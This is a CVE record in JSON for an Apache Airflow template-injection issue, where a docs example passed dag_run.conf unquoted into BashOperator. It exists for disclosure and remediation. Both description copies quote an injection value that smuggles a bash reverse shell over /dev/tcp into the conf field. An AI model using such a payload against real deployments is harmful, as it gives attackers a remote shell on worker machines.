158 lines
8.0 KiB
JSON
158 lines
8.0 KiB
JSON
{
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"dataType": "CVE_RECORD",
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"dataVersion": "5.2",
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"cveMetadata": {
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"cveId": "CVE-2026-42252",
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"assignerOrgId": "f0158376-9dc2-43b6-827c-5f631a4d8d09",
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"state": "PUBLISHED",
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"assignerShortName": "apache",
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"dateReserved": "2026-04-25T18:49:46.124Z",
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"datePublished": "2026-06-01T07:51:19.018Z",
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"dateUpdated": "2026-11-03T06:56:03.321Z"
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},
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"containers": {
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"cna": {
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"providerMetadata": {
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"orgId": "f0158376-9dc2-43b6-827c-5f631a4d8d09",
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"shortName": "apache",
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"dateUpdated": "2026-11-03T06:56:03.321Z"
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},
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"title": "Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern",
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"problemTypes": [
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{
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"descriptions": [
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{
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"description": "CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine",
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"lang": "en",
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"cweId": "CWE-1336",
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"type": "CWE"
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}
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]
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}
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],
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"source": {
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"discovery": "UNKNOWN"
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},
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"affected": [
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{
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"vendor": "Apache Software Foundation",
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"product": "Apache Airflow",
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"collectionURL": "https://pypi.python.org",
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"packageName": "apache-airflow-core",
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"versions": [
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{
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"status": "affected",
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"version": "3.0.0",
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"lessThan": "3.2.2",
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"versionType": "semver"
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}
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],
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"defaultStatus": "unaffected",
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"packageURL": "pkg:pypi/apache-airflow-core"
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}
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],
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"descriptions": [
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{
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"value": "Apache Airflow's official documentation at `core-concepts/dag-run.html` (\"Passing Parameters when triggering Dags\") showed a verbatim `BashOperator(bash_command=\"echo value: {{ dag_run.conf['conf1'] }}\")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\"; bash -i >& /dev/tcp/.../9999 0>&1; #\"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.",
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"lang": "en",
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"supportingMedia": [
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{
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"type": "text/html",
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"base64": false,
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"value": "Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release."
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}
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]
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}
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],
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"references": [
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{
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"url": "https://github.com/apache/airflow/pull/64129",
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"tags": [
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"patch"
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]
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},
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{
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"url": "https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7",
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"tags": [
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"vendor-advisory"
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]
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}
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],
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"metrics": [
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{
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"other": {
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"type": "Textual description of severity",
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"content": {
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"text": "low"
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}
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}
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}
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],
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"credits": [
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{
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"lang": "en",
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"value": "anonymous",
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"type": "finder"
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},
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{
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"lang": "en",
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"value": "Kevin Yang (sjyangkevin)",
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"type": "remediation developer"
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}
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],
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"x_generator": {
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"engine": "airflow-s/generate_cve_json.py"
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}
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},
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"adp": [
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{
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"metrics": [
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{
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"cvssV3_1": {
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"scope": "UNCHANGED",
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"version": "3.1",
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"baseScore": 9.1,
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"attackVector": "NETWORK",
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"baseSeverity": "CRITICAL",
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"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
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"integrityImpact": "HIGH",
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"userInteraction": "NONE",
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"attackComplexity": "LOW",
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"availabilityImpact": "NONE",
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"privilegesRequired": "NONE",
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"confidentialityImpact": "HIGH"
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}
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},
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{
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"other": {
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"type": "ssvc",
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"content": {
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"timestamp": "2026-06-02T16:05:01.041622Z",
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"id": "CVE-2026-42252",
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"options": [
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{
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"Exploitation": "none"
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},
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{
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"Automatable": "yes"
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},
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{
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"Technical Impact": "total"
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}
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],
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"role": "CISA Coordinator",
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"version": "2.0.3"
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}
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}
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}
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],
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"title": "CISA ADP Vulnrichment",
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"providerMetadata": {
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"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
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"shortName": "CISA-ADP",
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"dateUpdated": "2026-06-02T16:43:13.898Z"
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}
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}
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]
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}
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} |